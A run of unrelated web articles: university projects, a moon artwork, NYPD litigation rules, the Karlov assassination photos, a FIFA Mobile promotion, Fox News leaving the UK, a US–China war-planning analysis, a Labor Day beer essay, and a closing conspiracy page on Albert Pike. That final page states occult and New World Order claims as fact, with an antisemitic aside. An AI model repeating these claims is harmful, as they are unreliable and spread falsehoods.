IITK motorsports is the biggest and most comprehensive student initiative of the college, founded in January 2011. It is a group of students from varied disciplines who aim at designing and fabricating a Formula-style race car for international Formula SAE (Society of Automotive Engineers) events. Most of the components of the car, except the engine, tyres and wheel rims, are designed and manufactured by the team members themselves. The car is designed to provide maximum performance under the constraints of the event, while ensuring the driveability, reliability, driver safety and aesthetics of the car are not compromised.[49]
Researchers at IIT Kanpur have developed a series of solar powered UAVs named MARAAL-1 & MARAAL-2. Development of Maraal is notable as it is the first solar powered UAV developed in India. Maraal-2 is fully indigenous.[50]
Notable alumni [ edit ]
See also [ edit ]
References [ edit ]
Coordinates: |
Image copyright University of Bristol Image caption Titled Museum of the Moon, the artwork has been hung in the Wills Memorial Building to welcome in the university's new chancellor Sir Paul Nurse.
A 7m (23ft) diameter giant replica of the moon has been installed in the University of Bristol's Great Hall.
The giant orb, covered in detailed NASA imagery of the lunar surface, was created by Bristol-based Luke Jerram.
Titled Museum of the Moon, it has been hung temporarily in the Wills Memorial Building to welcome the university's new chancellor Sir Paul Nurse.
Mr Jerram, said: "This is an opportunity for the public to have a close encounter with the moon."
Images taken by a NASA satellite were used by the artist to create the installation.
Each centimetre of the internally-lit spherical structure represents 5km (3 miles) of the moon's surface.
Image copyright Luke Jerram Image caption Artist Luke Jerram said it gives people the chance to "study every detail" of the surface of the moon
Mr Jerram, who was behind Bristol's 2014 water slide and the globally successful street pianos, said it would give people the chance to "study every detail of its surface" as well as "bathe in moonlight".
"The Great Hall is such an amazing space to present the Museum of the Moon," he said.
The floating artwork, which is illuminated and accompanied by music from different composers, was created in partnership with the University of Bristol and the UK Space Agency.
The Great Hall will be open to the public to view the Museum of the Moon next weekend. |
Court's 'Temporary' Rule Changes Protect Bad NYPD Cops And Stack Deck Against Plaintiffs
from the where-lady-justice-is-not-only-blindfolded,-but-gagged-as-well dept
The New York Police Department doesn't have a great track record when it comes to civil rights. As Reason points out, claims against the department leapt 71% over the past decade, with $135.8 million in settlements paid out in 2010 alone. While any number of internal investigations and policy changes may be taking place at the NYPD in an attempt to lower the number of rights violations, the Southern District Court of New York made its own proactive, and actively terrible, efforts.
Concerned about the number of federal civil rights lawsuits filed against New York City police officers, a subcommittee of judges in the Southern District of New York adopted a temporary set of rules two years ago "designed to promote the just, speedy and inexpensive resolution" of many of those lawsuits.
Among other things, the rules increased the amount of time defendants have to respond to lawsuits in Manhattan and the Bronx that accuse police officers of excessive force, false arrest or malicious prosecution, and provided for what its authors called "limited discovery" while establishing a strict timetable for settlement demands and mediation.
While the city is required to produce some evidence quickly, most of it is postponed, and all discovery can be halted if a defendant moves to dismiss the suit.
Plaintiffs are required to authorize the release of medical records and sealed arrest records related to the lawsuit. They must also provide a list of all previous arrests, sealed or unsealed, although the city is only obliged to turn over indexes of previous complaints about officers that are similar to those in the lawsuit or that could raise questions about the officer's credibility.
If a case is not settled within three months of the city's initial response, both sides are required to attend a mediation session. And if there has been no resolution at the end of the plan's process, which lawyers said can take about six months, cases proceed with full discovery.
By February 2012, Ms. Weber (attorney for the woman filing the suit) said would generally emerge during the discovery process.
But because of the limited discovery, lawyers for the city were not obliged to quickly identify the unnamed officers.
"If this case remains within the ambit of the plan, it is quite likely that the statute will expire before plaintiff can identify all possible defendants," Ms. Weber wrote to a judge, calling that possibility "utterly unfair" and asking that her case be exempted from the plan and handled under standard rules.
The judge, Denise L. Cote, refused the request. A month later, the case settled without the names of the unidentified officers being revealed.
That's a nice thought, but at least two of those terms deployed are incorrect. The rules enacted by the court have little to do with "justice" or "speed." But it may have nailed the last term. Stacking the deck against plaintiffs may ultimately be more "inexpensive."How this subcommittee arrived at the conclusion thatthe mandatory response time to filed suits from 21 days toserves either "justice" or "speed" is beyond me. In the real world, if you give a student the choice of three weeks or three months to finish writing a paper, chances are it will be completed the night before its due. The only thing that's changed is the amount of dead time. Same thing here. Giving the NYPD four times the grace period before response means most (if not all) responses will take four times as long to be filed.And the discovery process is a nightmarish train wreck of travesty traveling down a one-way street (to pile on excessive metaphors) if you're the plaintiff. These "relaxed" rulesfavor law enforcement.The NYPD can apply the brakes on discovery at any time, something that will at least speed up responses in some cases. On the other hand, the plaintiff is expected to provide an open book for the defendant to page through.The city is allowed to knowabout the plaintiff, whether it's relevant to the lawsuit or not. Plaintiffs are only allowed to access what the city deems "similar" to the subject matter of the complaint. With these rules in place, an officer's disciplinary file can be cherry-picked by the defense to present the court with the case of Scumbag Citizen With Priors vs. Officer Good Guy With A Couple Of Judgement Errors On His Record.And if the officer's misdeeds are altogether too awful/too similar to be withheld? No problem. The court allows for the automatic adoption of protective orders to designate certain evidence as confidential. Either side can take advantage of these orderseither side can attempt to exempt the case from the automatic protection, but a judge can overrule any of these requests. A brief glance at the stacked deck gives a pretty good indication as to which side will receive more favorable rulings.Here's where the court attempts to obtain the "speedy" resolutions it claims the rule changes enable."Speedy" means settlements, but settlements rule out "inexpensive," and nothing in the process indicates "justice" is the intent. The plaintiff's bar has opposed the recommendation to make this temporary rule set permanent, stating that that "months of limited discovery pressures plaintiffs to settle without seeing all relevant evidence." That's one way to keep settlement costs lower -- keep the plaintiff and the evidence separated, as happened to a woman who brought a suit against the NYPD after being shoved to the ground by police officers and detained for hours before being released without charges.There's nothing speedy or just about "resolutions" like this. The temporary rule changes that were enacted with the stated intent of streamlining the process and serving justice do nothing of the sort. Now, with the court planning on making these changes permanent, police who violate citizens' rights will have an ally within the justice system, one that allows them to duck their accountability to the public.
Filed Under: bad copys, law enforcement, nyc, nypd |
Image copyright AP Image caption Turkish policeman Mevlut Mert Altintas photographed immediately after shooting Russian ambassador Andrei Karlov on Monday
When an assassination takes place, it is rare to find a professional news photographer on the scene, capturing the act and the killer's expression just seconds afterwards.
But when Russian ambassador Andrei Karlov was killed by a Turkish policeman in Ankara on Monday, Associated Press photographer Burhan Ozbilici was unexpectedly in the front row.
Ozbilici took images in the Ankara art gallery while the killer was shouting wildly and waving a gun in the air.
"I was, of course, fearful and knew of the danger if the gunman turned toward me," Ozbilici wrote on a widely shared blog, posted by AP after the incident.
He also wrote of watching a life that "disappeared before my eyes".
Warning: Graphic images follow
Image copyright AP Image caption Andrei Karlov started his speech as his soon-to-be-assassin stood behind him
Karlov was speaking at the opening of a photography exhibition when he was shot dead by Mevlut Mert Altintas.
Ozbilici had popped in to the event as it was on his way home from the news agency's office.
In the blog, he said he anticipated it would be routine job that would be a chance to get some stock pictures to illustrate Turkish-Russian relations.
Instead, he wrote, he became an eyewitness to a murder and the ensuing "pandemonium".
Image copyright AP Image caption Mevlut Mert Altintas shot Andrei Karlov, and then yelled as the body lay beside him
Image copyright AP Image caption Ozbilici also photographed witnesses in the immediate aftermath
Witnesses rushed for cover as Altintas, a 22-year-old member of Ankara's riot police, paced around the body of his victim.
He shouted in Turkish and Arabic about the Syrian war, in which Russia has become a key player as a Syrian government ally.
Ozbilici wrote: "People screamed, hid behind columns and under tables and lay on the floor. I was afraid and confused, but found partial cover behind a wall and did my job: taking photographs."
Media playback is unsupported on your device Media caption Associated Press photographer Burhan Ozbilici interviewed by the BBC's Newshour
Image copyright AP Image caption There was panic as exhibition attendees sought to leave the scene
He said he recognised the danger of moving towards the gunman as others ran away, but he felt he had to capture the scene.
His actions were recognised by others on social media.
"Photographers are often the first writers of history," wrote UK journalist Simon Ricketts on Twitter, after sharing the blog.
"In awe of my brave AP colleague Burhan Ozbilici," tweeted an AP director, Kristin Gazlay.
Ozbilici also captured chilling shots of the incident's build-up, when the victim and the rest of the room were oblivious to what was about to unfold.
"When I returned to the office to edit my photos, I was shocked to see that the shooter was actually standing behind the ambassador as he spoke. Like a friend, or a bodyguard," he wrote.
Altintas was shot dead at the scene of the crime by Turkish police. |
It’s Easter in FIFA Mobile and our latest Seasonal Program highlights the act of finding. Featuring special Pack offers and Live Events, find holiday-themed Player Items and different colored Egg & Basket Tokens to unlock in-game content.
We have four Easter-themed Master Player items to unlock. Find specific colored and Rainbow Easter Eggs to complete corresponding Plans and receive a random color Player Item. Obtain all four colors of a Player (Yellow, Red, Green, and Blue), then combine it with their corresponding Basket Tokens to unlock their Master Item.
The four featured Players are found in the Color Egg Trade-In Plans or randomly in specific-marked Packs. Find the necessary Eggs by playing specific Easter-themed Live Events and in specific-marked Packs.
We also have a special Easter Legend Player Item that you can unlock by adding different colored Baskets to their Plan. Once unlocked, you can upgrade their stats by finding other Baskets and Spotted Colored Eggs. Be sure to check the Plans in-game for specific requirements to complete these and all other Easter-themed Plans.
During the Easter Program, it will be possible to find 1 of 10 extremely rare ‘Golden Eggs’ in place of a normal Basket Token from the Easter Player Plans. Each ‘Golden Egg’ contains an e-mail address on it used to redeem a custom-made ‘Golden Egg Player Item’.
You will be able to pick any Player obtained through Packs in FIFA Mobile, which we will then send you a custom 99-OVR ‘Golden Egg’ version of that Player. The player chosen will use their base position available in-game. If the Player has Items from Multiple positions, you will be able to pick one of those positions for your ‘Golden Egg’ version.
Once all 10 Golden Eggs have been found, in-game messaging will update to mention this and it will no longer be possible to get a Golden Egg.
Limit one (1) Golden Egg per person during the promotion period
Golden Egg Player Items are no auction and have no coin or monetary value
EA reserves the right to limit redemption of Golden Egg Tokens to the first 10 players that contact EA
Promotion is not open to EA employees (RFT, TFT, Contractors) or their families
All created items of the Golden Egg promotion are property of Electronic Arts
FIFA Mobile's Easter Program runs until April 24. |
Sources say decision to stop broadcasting controversial channel is not connected to Fox’s £11.7bn takeover bid for Sky
Rupert Murdoch has taken the rightwing US channel Fox News off the air in the UK after 15 years.
His US media group 21st Century Fox said it would withdraw Fox News from Sky in the UK on Tuesday because it no longer regarded the service as commercially viable.
The decision came as Karen Bradley, the culture secretary, is set to return her verdict on whether to ask the competition regulator to launch an investigation into the Murdochs’ adherence to broadcasting standards in the UK as part of an inquiry into Fox’s £11.7bn takeover bid for Sky.
However, sources said the decision to stop broadcasting Fox News, which went off air at 4pm, was not connected to the takeover bid, arguing that the channel attracted only about 2,000 viewers a day in the UK.
“[Fox] has decided to cease providing a feed of Fox News Channel in the UK,” a spokeswoman for the company said. “Fox News is focused on the US market and designed for a US audience and, accordingly, it averages only a few thousand viewers across the day in the UK. We have concluded that it is not in our commercial interest to continue providing Fox News in the UK.”
Fox News has become increasingly troublesome for the Murdochs as they attempt to buy Sky.
The channel is embroiled in a sexual harassment scandal that led to a string of high-profile figures leaving, including the chairman Roger Ailes, who has since died, and leading presenter Bill O’Reilly.
It has also been accused of colluding with Donald Trump’s White House on a discredited story about a murdered Democrat activist, which critics of the Murdochs have compared to the News of the World hacking the phone of murdered schoolgirl Milly Dowler.
Ofcom, the UK media regulator, has also made a number of rulings against Fox News broadcasts in the last year, adding to the total of 22 breaches by Fox of its licence and Ofcom’s codes and rules in the last decade. Of those, Fox News was responsible for seven, including four last year, one of them being a programme which featured a guest who said Birmingham was a city “where non-Muslims just simply don’t go”.
Tom Watson, the deputy Labour leader and shadow culture secretary, said the disappearance of Fox News from British screens should not affect the government’s decision on whether 21st Century Fox should be allowed to buy Sky.
“Fox News has breached Ofcom’s rules over and over again, so 21st Century Fox clearly thought it was easier to pull it from the UK altogether than to clean up its act,” Watson said.
“But the ongoing corporate governance and sexual harassment scandal at Fox News is still deeply relevant to the question of whether 21st Century Fox should be allowed to take over Sky, whether the channel is broadcast here or not.”
Fox News was taken off air between 5am and 11pm on election day to avoid any issues with Ofcom.
UK fans of Fox News will not be able to turn to the internet to watch the channel as it is not streamed online. Only clips of Fox News programming are available online.
Sky, which is 39% controlled by 21st Century Fox, continues to fund Sky News, which loses tens of millions of pounds a year.
Ed Miliband, the former Labour leader and long-time Murdoch critic, said: “This decision shows the Murdochs panicking about their bid for Sky. It amounts to an admission that despite having broadcast here year after year, Fox News is not fit for UK broadcasting in the standards and ethics of its journalism. It’s yet more proof that the Murdochs can’t be trusted to own 100% of Sky.
“Stopping broadcasting in the UK changes nothing. Fox News in the US is the Murdochs’ channel, they are responsible for its broadcasting standards and the appalling racial and sexual harassment that happened on their watch. The Murdochs can’t run from their record at Fox News.” |
Australian think tank outlines US plans for war against China
By Peter Symonds
16 April 2013
The US and its allies, in particular Australia and Japan, are engaged in advanced preparations for war with China. A paper released yesterday, entitled “Planning the unthinkable war: ‘AirSea Battle’ and its implications for Australia,” by the government-funded Australian Strategic Policy Institute (ASPI) has provided an outline of the war plans.
The “AirSea Battle” strategy developed over the past three years by the Pentagon is integral to the Obama administration’s “pivot” or “rebalance” to Asia, aimed at containing China on every front—diplomatically, economically and militarily. Amid a worsening global economic breakdown, the US is determined to use its military might to offset its economic decline and prevent China from becoming a challenge to its hegemony in Asia and the world.
According to the report’s author, ASPI analyst Ben Schreer: “The Pentagon has started to ‘think about the unthinkable’: a military strategy for fighting and winning a potential war against China.” AirSea Battle is presented as a defensive strategy against a potential Chinese attack—a response to the developing military capabilities of China’s Peoples Liberation Army (PLA) that are “gradually eroding America’s maritime dominance in the Western Pacific.”
The “unthinkable” would be catastrophic. The Pentagon envisages a war, largely fought with US warships, warplanes and missiles, that would devastate China’s military infrastructure, without necessitating an invasion of the Chinese mainland, and impose a crippling economic blockade.
As described in the ASPI paper, AirSea Battle would counter Chinese strategies “by withstanding an initial Chinese attack, followed by a ‘blinding campaign’ against PLA command and control networks, a ‘missile suppression campaign’ against China’s land-based systems, and a ‘distant blockade’ against Chinese merchant ships in the Malacca Straits and elsewhere.”
The assumption behind the US strategy is that “escalation can be kept below the nuclear threshold”—that is, a fully-fledged nuclear war could be avoided. But as Schreer points out, “a blinding campaign could increase the risk of a disproportionate Chinese response, including nuclear escalation.” In other words, if the US destroys China’s ability to monitor incoming American missiles and thus a US nuclear attack, Beijing could be forced to unleash its own nuclear arsenal.
The Pentagon’s AirSea Battle plans are not just on the drawing board. The US has already begun an extensive restructuring of its military in the Asia Pacific. This includes the hardening of frontline military bases to withstand missile attack, the dispersal of forces more broadly in the region, the concentration of 60 percent of US naval assets in Asia, as announced last year, and the development of a new generation of weaponry designed to wage a naval/aerial war off the Chinese mainland. At the same time, using North Korea as a pretext, the US, in collaboration with Japan, is constructing anti-ballistic missile systems in the region that are designed for fighting a nuclear war with China.
Japan and Australia, designated “key enablers”, are central to the Pentagon’s war plans, which assume that both countries “will be active allies throughout the campaign”. Japan would be on the frontline of any war with China. The Pentagon regards US bases, especially in Okinawa, as a key component of its plans to hem in Chinese warships and submarines, and the Japanese military as an essential supplement to its own forces.
The ASPI paper focuses on the implications for Australia, which is viewed by Washington as a vital base of operations, especially for mounting an economic blockade of China by cutting vital shipping lanes through South East Asia. Around 80 percent of Chinese energy imports from the Middle East and Africa pass through the Malacca Strait—a key chokepoint between Malaysia and Singapore.
Already the Australian Labor government has agreed to host a US Marine Air-Ground Task Force (MAGTF) in Darwin and open other Australian bases to US warships and warplanes. While Prime Minister Julia Gillard has played down the significance of the US Marines, ASPI points out: “MAGTFs such as the one in Darwin could play a role in securing critical maritime chokepoints in South East Asia.” The US is further pressing the Australian government to develop military capacities, such as long-range submarines, that could be used to target Chinese shipping and naval assets.
The US military preparations have intensified the dilemma facing the Australian ruling class, which is economically dependent on China, but relies on the US militarily to defend its interests in Asia. Sharp tactical differences over how to resolve this conundrum divide the political establishment—the Labor government and the Liberal-National opposition alike.
Former Prime Minister Kevin Rudd became a political casualty of Obama’s “pivot” in June 2010. He was ousted in an inner-party coup by pro-US powerbrokers, not because he opposed the US alliance, but because his call for a US rapprochement with China cut across Obama’s confrontational “rebalancing” against China. Just weeks earlier, Japanese Prime Minister Yukio Hatoyama, who espoused similar policies to Rudd, resigned following a concerted campaign against him by Washington. Their replacements in Australia and Japan—the two “key enablers” for AirSea Battle—have fully supported the Pentagon’s plans.
The ASPI paper, like the Pentagon, presents the AirSea Battle strategy as purely defensive. But the US has over the past decade waged one war of aggression after another in Afghanistan and Iraq, followed by neo-colonial interventions in Libya and Syria. In his bid to undermine Chinese influence in the Asia Pacific, Obama has deliberately inflamed dangerous flashpoints, including the Korean Peninsula, and fostered new ones by encouraging allies such as Japan and the Philippines to aggressively pursue their maritime disputes with China.
Even the ASPI report acknowledges the dangers inherent in the Pentagon’s war preparations. “Surely, a Sino-US war not only seems a remote possibility but would be catastrophic for the region in general,” it states. “No-one wants war, but deterrence strategy follows a paradoxical logic: in order to deter war and preserve the peace, the defender has to signal credibility in both intention and capability to go to war with the potential aggressor.” This is the logic of an arms race, escalating tensions and the slide toward conflict and war.
As far as ASPI analyst Schreer is concerned, the Australian government has no alternative but to sign up to the US war preparations. He suggests that Canberra press Washington to provide more details, when in reality secret deals have undoubtedly already been struck. Last year Australian journalist David Uren revealed that the Labor government’s 2009 Defence White Paper contained a secret chapter assessing “Australia’s ability to fight an air-sea battle alongside the United States against China.” Schreer recommends that the US war plans remain secret, advising the government to support AirSea Battle, while not publicly endorsing it.
Behind the backs of the working class—in Australia, the US, China and the world—a new and more terrible war is being prepared by American imperialism and its allies. |
Friedrich Engels, left, and Karl Marx. DieBuche; Scewing/Wikimedia Commons.
To celebrate Labor Day weekend and the end of summer, many Americans will imbibe during backyard barbecues or final trips to the beach. In 2012, Troy Patterson wrote about how to find the perfect beer for Labor Day drinking. The original is reprinted below.
On precisely this date in 1844, the authors of The Communist Manifesto went on a bender in France. It was epic, and it was epochal, and it is hard to think of a drinking session more significant to the formation of the modern world.
Both Karl Marx and Friedrich Engels were in their 20s at the time, and neither was a drinking novice. Marx first demonstrated talent in the beerhounding field during his first and only year at the University of Bonn. It was, in the understated phrase of his father, a period of “wild rampaging.” As a co-president of his “tavern club,” the lad often tangled with the rival Borussia Korps, which would force him and his bourgeois brethren to kneel in allegiance to the Prussian aristocracy. In hopes of repelling their attacks, Marx started packing a pistol, and a bullet grazed his brow in the duel that inevitably resulted; boys will be boys. He transferred schools, got serious about philosophy, and fell in with the Young Hegelians for a while. To blow off steam while working on his Ph.D., he would knock back pints with Bruno Bauer; they would now and then get smashed and ride donkeys down the main streets of villages.
Engels, meanwhile, had been educating his palate, preparing to become the first great champagne socialist. One month-long vacation in the French countryside found young Engels “more or less squiffy all the time,” and his most recent biographer likens his diary of the trip to “an upmarket wine-tour brochure.” (Sample text: “Within a few bottles one can experience every intermediate state from the exultation of the cancan to the tempestuous fever heat of revolution, and then finally with a bottle of champagne one can again drift into the merriest carnival mood in the world!”) An industrialist and a revolutionary, Engels spent two years learning the family business at Ermen and Engels’ Victoria Mill outside of Manchester, England, witnessing the horrors of child labor and gathering material for his first book, The Condition of the Working Class in England in 1844.
Late that summer, Engels passed through Paris and arranged a get together with Marx, who had recently hatched his theory of alienated labor—of the worker as the “plaything of alien forces.” On Aug. 28, 1844, they got faded at Café de la Régence and kept going for “10 beer-soaked days,” as one historian puts it—two dudes joined in a buzzing discussion where they broke it all down, as dudes will. This was bitching about work on the highest level, Marx and Engels in Paris and going gorillas.
Some long-term consequences of that conversation were highly unfortunate, the contraband status of Havana Club rum not least among them. But no right-thinking, left-leaning American can deny that beer, having thus fueled the birth of the labor movement, deserves to be honored at this time of year. You needn’t be a dialectical materialist to celebrate Labor Day with a cold one; anyone can see that beer and Labor Day weekend go together like thesis and antithesis. (Though if you are a dialectical materialist—or a Marxian literary critic or a pinko commie or what have you—then you will appreciate the jesters who conceived the Karl Marx Drinking Game: “For every instance in which the history of hitherto existing society is the history of class struggles, take a drink.”)
What kind of beer should you drink on Labor Day? There are two broad categories of the world’s most popular intoxicant: lager (styles include pilsner, Oktoberfest, and—oof—malt liquor) and ale (styles include IPA, stout, and all those delightful things they do in Belgium). Your first job is to determine which better suits your mood.
The many millions will be grabbing mass-produced brews out of fridges and coolers, and if you find yourself among them, you should fish around for a crappy regional lager admired for its “drinkability.” In the mid-Atlantic, for instance, you might try Yuengling Traditional Lager. Brewed in Pottsville, Pa., it is a traditional dietary staple of anthracite coal miners and other figures recognizable from Joe Biden speeches scripted for the Scranton/Wilkes-Barre media market.
Some crappy-beer purists might argue that Yuengling is not thin and bland enough for the task at hand, holding that its slight hint of caramel and subtle citrus kick give it more character than other best-selling macrobrews. But rest assured that it is eminently suitable for easy guzzling. “Not as good as some of the beers I might sip at home,” says an observer from the United Kingdom, “but the best when it comes to getting slammed inexpensively in the city.”
The ale most thematically appropriate to Labor Day is porter, the progenitor of stout. Soon after emerging in London in the 1700s, this dark beer “became known by the occupation of its best customers,” the men who delivered cargo to market. Porters tend to burst with chocolate and coffee and dark-fruit flavors, and some beer nerds thus reserve them for cold-weather sipping. However, it seems to me that if this stuff was sufficiently thirst quenching for guys who carried sides of beef on their backs 12 hours a day, then it ought to be good enough for you after … what the hell have you done today, anyway?
The two brands easiest to find hail from California. Sierra Nevada Porter, brewed in Chico, is relatively light of body, so it’s probably the porter you should be drinking if you’re going to be drinking one more than you should—and yet its charcoal finish invites lingering. Then there’s Anchor Porter, flowing smoothly from San Francisco since 1972. It’s available in 22-ounce bottles, a serving size proportioned perfectly to go with a pint of vanilla ice cream and an hour of late-night television.
American microbrewers and dirty foreigners alike offer many other worthy options, but the ultimate Labor Day beer must be Revolution Brewing’s Eugene Porter, available only in Chicago. Its name honors Eugene V. Debs, the union leader, who, like “Big Bill” Haywood, liked to raise a glass and get a little wobbly. As Madelon Powers writes in Faces Along the Bar: Lore and Order in the Workingman’s Saloon, 1870-1920, “Like both Debs and Haywood, many men interested in the cause of labor found the barroom to be a ready-made forum for union organizing.”
In general, porters pair well with grilled meats, which is reason aplenty to crack open a few at a late-summer barbecue, provided you can do so responsibly, this time keeping the lighter fluid away from the Super Soakers.
Photo by Hemera/Thinkstock
Whether lager or ale, beer, it should be obvious, is the quintessential working man’s drink. There’s beer, followed closely by whiskey, and there’s the boilermaker, which is whiskey closely followed by beer. The boilermaker is the grandfather of beer cocktails—the august but sometimes funny-smelling grandfather. You got a slug of hooch, you got a cold beer, and that’s that, unless you want to start talking about depth charges, which right now I don’t.
The shot-and-a-beer ritual has been going on for ages in the Netherlands (where it is called a kopstoot, or head-butt) and in Germany. The Oxford Companion to American Food and Drink further traces it to the mining camps of 1890s Montana, where the Irish saloonkeepers called it the “Sean O’Farrell.” The Joy of Mixology notes the boilermaker’s association with the steelworkers of western Pennsylvania. Author Gary Regan passes along a letter from an admirer of the area’s bars, “not the Yuppie bars with their White Wine Spritzers” but the old neighborhood spots: “Three and four generations have been thrown out of them.” The prototypical Pittsburgh take on the boilermaker is the Imp n’ Ahn: Imperial Whiskey (“For men among men, there is a whiskey among whiskies.”) chased by the crappy regional lager called Iron City (“At least I can drink it without breaking into an involuntary grimace.”).
The boilermaker will endure forever, helped along by what a retired steelworker might call “Yuppie bars with their Golden Ales aged in Chardonnay Barrels.” For instance, a new Philadelphia joint named Boilermaker offers gourmet shot-and-beer pairings (such as Aviation gin and farmhouse ale) alongside the traditional Philly delicacy known as the “Citywide Special” (bourbon and Pabst Blue Ribbon). No, the boilermaker isn’t going anywhere, even though its links to American industry are disappearing. Earlier this month, the Chicago Tribune noted that the decline of U.S. manufacturing has led to the disappearance of “early morning taverns” catering to guys getting off the third shift—or, of course, heading into the first.
I cannot endorse drinking before operating heavy machinery. While I’m at it, I’ll add that light machinery is not exactly a picnic either. Consider, for instance, the telephone. Keeping a finger on the mute button so that you don’t belch into a conference call? Buzzkill.
In contemporary America, there is much rich discourse on the topic of work-related boozing. While Esquire presents sensible guidelines for the in-office 5 o’clock drinks meeting, Businessweek offers a flowchart suggesting what to order at various after-work drinks occasions, such as closing a deal with a client or kissing your boss’s ass. There is online advice on how to proceed if you think a subordinate is drinking at work, advice on what to do if your boss is drinking at work, and then there is advice for people planning to drink at work, the most thorough of which comes from Frank Kelly Rich, editor of Modern Drunkard Magazine. Though the MDM lifestyle is too rich for my liver tissue, I must concede that this 5,000-word article, titled “Juicing on the Job,” is magisterial in its coverage, including its tips on endgame strategy: “Accept the fact that sooner or later you will be found out. Hopefully by that time you’ll have made yourself indispensable and they will look the other way. This is called reaching the Churchill Stage.” And how does the modern drunkard maintain his buzz among the cubicles? With “vodka or neutral spirits diluted into a large bottle of designer water.”
I counsel against this. You don’t want to become the guy with the archetypal vodka bottle in the filing cabinet. (For one thing, per Rich, you should always premix your drinks before work.) You should drink at your desk only where the corporate culture encourages you to do so openly, as Engels did before his years in Manchester while a clerk at an export firm in Bremen, Germany. “There is a bar in our office,” he wrote his sister. “Beer bottles all over the place.”
But back to early morning drinking, which not strictly taking place on the job, I can endorse with a clear conscience.
Someone—perhaps an Old Bolshevik named Lazar Kaganovich—said that you can’t expect to make an omelet without breaking a few eggs. Same goes for a controversial beverage described in the book Yuengling: A History of America’s Oldest Brewery:
At the bar in the early morning hours, a “Miner’s Breakfast” could be ordered: two raw eggs dropped into a glass of beer after being cracked on the rim. The miner would first gulp a shot of whiskey and then soothe his burning throat by chugging the raw egg and beer concoction. Then, it was off to the mines.
You may have watched stevedores drink beers with eggs before clocking in at the dock on The Wire or seen Paul Newman’s alcoholic lawyer do it in The Verdict. You may have heard the combination touted as a virility potion, particularly in connection with Guinness. You may even have smelled the kind of barfly who treats it as a regular pick-me-up—the tall cousin of the prairie oyster, which is a seasoned raw egg served with or without brandy. But have you tasted it yourself?
Photo by Hemera/Thinkstock
Wanting egg in my beer, I cracked a cage-free number into a glass of Smuttynose Robust Porter. The yolk brightly sank through the glass, and the drama of this, like the sight of the black beer sitting atop the golden treasure and its squished ellipsis of albumen, quickened the pace of my slurping. The egg coasted down the gullet with gratifying sliminess, and a final trickle of brew punctuated the glug.
If this icks you out, then perhaps it will settle to your stomach to know that, as a matter of settled law, I wasn’t eating the egg but drinking it. Or to understand that adding egg to your beer is not just for manual laborers. That much is clear from a scan of The Ideal Bartender, published in 1917 by a country-club bartender named Tom Bullock, who offers a simple anytime recipe for a cold ale flip; the Republican patriarch George Herbert Walker wrote the introduction, vouching for Bullock and “the nectar of his schemings.” A century later, Anvil, a well-regarded bar in Houston, has taken a maximally mixological approach to the egg-enhanced boilermaker. Its frothy Rooster Cogburn involves one whole egg, one shot of Buffalo Trace bourbon, 2 ounces of India Pale Ale, 1 teaspoon of cane syrup, and half an ounce of a “lager syrup” made from Lone Star, the crappy regional lager of Texas.
While this witty beverage is appropriate for a sophisticated evening, there remains the crucial matter of how best to booze at a home-cooked Labor Day brunch. Try this:
Flip ‘n’ Serve Breakfast
¾ ounce brandy
2 teaspoons maple syrup
1 large egg
6 ounces porter, stout, or other dark ale
¼ teaspoon freshly grated nutmeg
Put the first three ingredients in a shaker. Shake vigorously to emulsify the egg. Add ice to the shaker and shake again. Strain into a chilled highball glass. Gently pour the dark ale—a milk stout would be delish—into the glass. Garnish with the nutmeg. Serve with a straw.
This is such a fine beverage—with a head like cappuccino foam and a body like an elegant coffee milkshake—that I feel obligated to remind you not to make that uncouth sucking noise with your straw when approaching the end of it.
Use the half bottle of beer left behind to improve upon the recipe above so that the drink hits extra parts of the palate. Even a squeeze of lemon juice would add interest, but ardent cocktailians might add two dashes of black walnut bitters or substitute orgeat for the maple syrup. Or maybe this is the opportunity for which a neglected nut-based liqueur in your pantry has been patiently waiting. You’ll make something work. |
Who was Albert Pike?
Tell Me More About Albert Pike
Albert Pike's Background
Jump to Albert Pike and Three World Wars.
Very few outsiders know about the intimate plans of Albert Pike and the architects of the New World Order. In the 19th Century Albert Pike established a framework for bringing about the New World Order. Based on a vision revealed to him, Albert Pike wrote a blueprint of events that would play themselves out in the 20th century, with even more of these events yet to come. It is this blueprint which we believe unseen leaders are following today, knowingly or not, to engineer the planned Third and Final World War.
About Albert Pike
Albert Pike was born on December 29, 1809, in Boston, and was the oldest of six children born to Benjamin and Sarah Andrews Pike. He studied at Harvard, and later served as a Brigadier-General in the Confederate Army. After the Civil War, Pike was found guilty of treason and jailed, only to be pardoned by fellow Freemason President Andrew Johnson on April 22, 1866, who met with him the next day at the White House. On June 20, 1867, Scottish Rite officials conferred upon Johnson the 4th to 32nd Freemasonry degrees, and he later went to Boston to dedicate a Masonic Temple.
Pike was said to be a genius, able to read and write in 16 different languages, although I cannot find a record anywhere of what those languages were. In addition, he is widely accused of plagiarism, so take with a pinch of salt. At various stages of his life we was a poet, philosopher, frontiersman, soldier, humanitarian and philanthropist. A 33rd degree Mason, he was one of the founding fathers, and head of the Ancient Accepted Scottish Rite of Freemasonry, being the Grand Commander of North American Freemasonry from 1859 and retained that position until his death in 1891. In 1869, he was a top leader in the Knights of the Ku Klux Klan.
Incidentally, Freemasonry itself is a fascinating subject and I could devote an entire website to it. Simon Gray, a Freemason, has compiled a stunning amount of information on Freemasonry that I recommend for anyone who wants to learn more about it.
Pike was said to be a Satanist, who indulged in the occult, and he apparently possessed a bracelet which he used to summon Lucifer, with whom he had constant communication. He was the Grand Master of a Luciferian group known as the Order of the Palladium (or Sovereign Council of Wisdom), which had been founded in Paris in 1737. Palladism had been brought to Greece from Egypt by Pythagoras in the fifth century, and it was this cult of Satan that was introduced to the inner circle of the Masonic lodges. It was aligned with the Palladium of the Templars. In 1801, Issac Long, a Jew, brought a statue of Baphomet (Satan) to Charleston, South Carolina, where he helped to establish the Ancient and Accepted Scottish Rite. Long apparently chose Charleston because it was geographically located on the 33rd parallel of latitude (incidentally, so is Baghdad), and this council is considered to be the Mother Supreme Council of all Masonic Lodges of the World.
Pike was Long's successor, and he changed the name of the Order to the New and Reformed Palladian Rite (or Reformed Palladium). The Order contained two degrees:
Adelph (or Brother), and Companion of Ulysses (or Companion of Penelope).
Pike's right-hand man was Phileas Walder, from Switzerland, who was a former Lutheran minister, a Masonic leader, occultist, and spiritualist. Pike also worked closely with Giusseppe Mazzini of Italy (1805-1872) who was a 33rd who founded the Mafia in 1860. Together with Mazzini, Lord Henry Palmerston of England (1784-1865, 33rd degree Mason), and Otto von Bismarck from Germany (1815-1898, 33rd degree Mason), Albert Pike intended to use the Palladian Rite to create a Satanic umbrella group that would tie all Masonic groups together.
